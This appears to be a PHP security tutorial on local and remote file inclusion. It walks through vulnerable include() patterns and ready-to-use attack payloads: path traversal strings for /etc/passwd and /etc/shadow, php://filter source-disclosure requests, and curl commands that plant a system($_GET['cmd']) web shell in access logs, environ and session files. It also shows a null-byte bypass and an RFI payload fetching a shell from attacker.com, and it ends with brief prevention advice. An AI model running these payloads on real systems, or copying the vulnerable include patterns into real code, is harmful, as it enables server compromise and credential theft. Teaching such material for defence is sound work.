PHP Security

Local & Remote File Inclusion (LFI / RFI)

Youssef
17 May 2026

File Inclusion Vulnerabilities in PHP

Understanding the Vulnerability

PHP's include(), require(), include_once(), and require_once() functions dynamically load and execute PHP files. When the path passed to these functions is controlled by user input, an attacker can load arbitrary files from the server (LFI) or from a remote server (RFI).

// Classic vulnerable pattern
$page = $_GET['page'];
include($page . '.php');

// Also vulnerable — no extension appended
include($_GET['file']);

Local File Inclusion (LFI)

LFI allows reading arbitrary files from the server's filesystem. The attacker uses path traversal sequences to escape the intended directory.

// Basic path traversal
?page=../../../../etc/passwd
?page=....//....//....//etc/passwd   // bypass basic filter
?page=..%2F..%2F..%2Fetc%2Fpasswd   // URL encoded

// Interesting files to read on Linux
/etc/passwd
/etc/shadow          // if running as root
/proc/self/environ   // environment variables (contains HTTP headers!)
/proc/self/cmdline   // process command line
/var/log/apache2/access.log   // for log poisoning
/var/log/nginx/access.log
/tmp/sess_[PHPSESSID]         // PHP session file

PHP Stream Wrappers (LFI bypass + source disclosure)

PHP wrappers allow reading files in different formats without triggering PHP execution — critical for extracting source code.

// Base64-encode the PHP source (bypasses .php extension execution)
?page=php://filter/convert.base64-encode/resource=index
// Response: base64 encoded PHP source → decode to read credentials

// Read as plain text
?page=php://filter/read=string.rot13/resource=index

// Read any file
?page=php://filter/resource=/etc/passwd

LFI to RCE — Log Poisoning

If you can read the web server's access log via LFI, you can poison it with PHP code by injecting it into the User-Agent header. The next LFI request executes the poisoned log entry.

# Step 1: Poison the log with PHP payload in User-Agent
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/

# Step 2: Include the log via LFI
?page=../../../../var/log/apache2/access.log&cmd=id

# Result: executes id on the server

LFI to RCE — /proc/self/environ

# Inject PHP in User-Agent
curl -H "User-Agent: <?php system(\$_GET['c']); ?>" http://target.com/

# Include the environ file
?page=../../../../proc/self/environ&c=whoami

LFI to RCE — PHP Session File

# PHP stores sessions in /tmp/sess_SESSIONID
# 1. Set a session cookie and inject PHP in a parameter that gets stored in session:
?username=<?php system($_GET['cmd']); ?>

# 2. Include the session file:
?page=../../../../tmp/sess_abc123&cmd=id

LFI — Null Byte Bypass (PHP < 5.3.4)

// Code appends .php extension:
include($page . '.php');

// Bypass with null byte — truncates the string at %00
?page=../../../../etc/passwd%00

// The include becomes: include("../../../../etc/passwd");

Remote File Inclusion (RFI)

RFI requires allow_url_include = On in php.ini (disabled by default in modern PHP). If enabled, the attacker can include a remote PHP file they control, achieving instant RCE.

// Attacker hosts: http://attacker.com/shell.php
// Content: <?php system($_GET['cmd']); ?>

// RFI payload
?page=http://attacker.com/shell

// PHP fetches and executes the remote file → RCE

Detection Checklist

  • Look for parameters named: page, file, path, include, template, doc, view, lang
  • Try ../../etc/passwd as the value
  • Try php://filter/convert.base64-encode/resource=index
  • Check if allow_url_include is on (try ?page=http://attacker.com/test)

Prevention

// SAFE — whitelist approach only
$allowed = ['home', 'about', 'contact'];
$page = in_array($_GET['page'], $allowed) ? $_GET['page'] : 'home';
include($page . '.php');

// php.ini hardening
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html

Key Insight: Never pass user input directly to file inclusion functions. Use a whitelist. Even with a whitelist, path traversal sequences should be stripped or rejected. Set open_basedir as a defense-in-depth measure.